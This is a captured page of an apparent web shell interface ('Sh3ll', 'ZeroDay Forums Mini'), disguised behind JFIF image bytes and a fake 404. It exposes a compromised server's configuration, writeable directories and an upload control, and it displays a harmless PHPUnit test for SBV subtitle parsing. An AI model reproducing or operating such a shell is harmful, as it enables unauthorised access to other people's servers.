����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/123vid/vendor/mantas-done/subtitles/tests/formats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/123vid/vendor/mantas-done/subtitles/tests/formats/SbvTest.php
<?php

use Done\Subtitles\Subtitles;
use PHPUnit\Framework\TestCase;

class SbvTest extends TestCase {

    use AdditionalAssertions;

    public function testFileToInternalFormat()
    {
        $actual_file_content = <<< TEXT
0:05:40.000,0:05:46.000
Don’t think that you can just ignore them
because they’re not your children or relatives.

0:05:46.000,0:05:51.000
Because every child in our society is
a part of that society
TEXT;
        $actual_internal_format = Subtitles::load($actual_file_content, 'sbv')->getInternalFormat();
        $expected_internal_format = [[
            'start' => 340,
            'end' => 346,
            'lines' => ['Don’t think that you can just ignore them', 'because they’re not your children or relatives.'],
        ], [
            'start' => 346,
            'end' => 351,
            'lines' => ['Because every child in our society is', 'a part of that society'],
        ]];

        $this->assertInternalFormatsEqual($expected_internal_format, $actual_internal_format);
    }



    public function testConvertToFile()
    {
        $actual_internal_format = [[
            'start' => 340,
            'end' => 346,
            'lines' => ['Don’t think that you can just ignore them', 'because they’re not your children or relatives.'],
        ], [
            'start' => 346,
            'end' => 351,
            'lines' => ['Because every child in our society is', 'a part of that society'],
        ]];
        $expected_file_content = <<< TEXT
0:05:40.000,0:05:46.000
Don’t think that you can just ignore them
because they’re not your children or relatives.

0:05:46.000,0:05:51.000
Because every child in our society is
a part of that society
TEXT;
        $expected_file_content = str_replace("\r", '', $expected_file_content);

        $actual_file_content = (new Subtitles())->setInternalFormat($actual_internal_format)->content('sbv');

        $this->assertEquals($expected_file_content, $actual_file_content);
    }

    // @TODO test time above 1 hour

}

ZeroDay Forums Mini